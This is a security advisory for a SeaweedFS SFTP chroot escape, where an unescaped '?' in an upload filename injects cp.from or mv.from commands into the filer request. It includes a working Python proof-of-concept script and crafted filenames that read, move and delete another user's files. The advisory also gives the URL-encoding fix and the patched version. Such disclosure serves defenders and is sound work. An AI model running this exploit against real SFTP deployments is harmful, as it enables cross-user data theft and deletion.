GHSA-VWWX-W898-9F4R
SFTP chroot escape via unescaped filename in upload URL allows cross-user data disclosure and deletion
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-VWWX-W898-9F4R divulgada · CVSS 9.9 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
The SFTP server confines each user to their home directory, but when uploading a file it builds the destination URL by concatenating the user-controlled filename into the HTTP request path without URL-encoding it. A filename containing `?` is interpreted by the filer's raw HTTP API as a query string, allowing an authenticated SFTP user to inject `cp.from` / `mv.from` and read, move, or delete any other user's files.
### Details
In `weed/sftpd/sftp_filer.go`, `putFile` concatenates the filename directly into the URL:
uploadUrl := fmt.Sprintf("http://%s%s", fs.filerAddr, filepath)
req, err := http.NewRequest(http.MethodPut, uploadUrl, body)The chroot check in `toAbsolutePath` (`weed/sftpd/sftp_server.go`) only resolves `.` / `..` segments with `path.Join` and verifies the result stays under `HomeDir`. It does not reject `?`, so a filename such as:
steal?cp.from=/home/bob/secret.txtpasses the chroot check, then becomes the URL:
http://filer:8888/home/alice/steal?cp.from=/home/bob/secret.txtwhich the HTTP client parses as `URL.Path = /home/alice/steal` and `URL.RawQuery = cp.from=/home/bob/secret.txt`.
The filer write handler (`weed/server/filer_server_handlers_write.go`) treats those query parameters as server-side copy/move commands executed with full filer privileges:
if query.Has("mv.from") {
fs.move(ctx, w, r, so)
} else if query.Has("cp.from") {
fs.copy(ctx, w, r, so)
} else {
fs.autoChunk(...)
}The SFTP-server-minted JWT (`security.GenJwtForFilerServer`) has no `AllowedPrefixes`, so the filer's path-scope check does not constrain the injected source path.
### PoC
Deployment: `weed master` + `weed volume` + `weed filer` + `weed sftp`, with two users in different home directories:
[
{ "Username": "alice", "Password": "alicepass", "HomeDir": "/home/alice", "Uid": 1001, "Gid": 1001, "Permissions": { "/home/alice": ["*"] } },
{ "Username": "bob", "Password": "bobpass", "HomeDir": "/home/bob", "Uid": 1002, "Gid": 1002, "Permissions": { "/home/bob": ["*"] } }
]- Bob uploads a secret: `put /secret.txt` → stored at `/home/bob/secret.txt`.
- As Alice, a direct read of any path outside `/home/alice` is denied (chroot intact).
- Alice uploads `put /steal?cp.from=/home/bob/secret.txt`.
- Alice downloads `/steal` and receives Bob's content.
The `mv.from` variant deletes the victim's file and delivers its content to the attacker:
import paramiko
HOST, PORT = "127.0.0.1", 2022
def put(user, pw, remote, data):
t = paramiko.Transport((HOST, PORT)); t.connect(username=user, password=pw)
s = paramiko.SFTPClient.from_transport(t)
with s.open(remote, "wb") as f: f.write(data)
s.close(); t.close()
def get(user, pw, remote):
t = paramiko.Transport((HOST, PORT)); t.connect(username=user, password=pw)
s = paramiko.SFTPClient.from_transport(t)
try:
with s.open(remote, "rb") as f: return f.read()
except IOError: return None
finally: s.close(); t.close()
put("bob", "bobpass", "/secret.txt", b"BOB-SUPER-SECRET\n")
assert get("alice", "alicepass", "/secret.txt") is None # chroot blocks direct read
put("alice", "alicepass", "/steal?cp.from=/home/bob/secret.txt", b"dummy")
print(get("alice", "alicepass", "/steal")) # b'BOB-SUPER-SECRET\n'
put("alice", "alicepass", "/stolen?mv.from=/home/bob/secret.txt", b"dummy")
print(get("bob", "bobpass", "/secret.txt")) # None (deleted)
print(get("alice", "alicepass", "/stolen")) # b'BOB-SUPER-SECRET\n'<img width="1288" height="841" alt="image" src="https://github.com/user-attachments/assets/22326c66-076a-43be-9a33-9fc930497e01" />
### Impact
An authenticated SFTP user escapes their home directory and can read (`cp.from`) or move/delete (`mv.from`) any other user's data, crossing the per-user isolation boundary the SFTP server is designed to enforce.
The fix is to URL-encode the path before embedding it in the request URL so that `?` becomes `%3F` and is treated as a literal path character.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Corregida | 4.42 | — | — |
4.42Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-vwwx-w898-9f4rLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
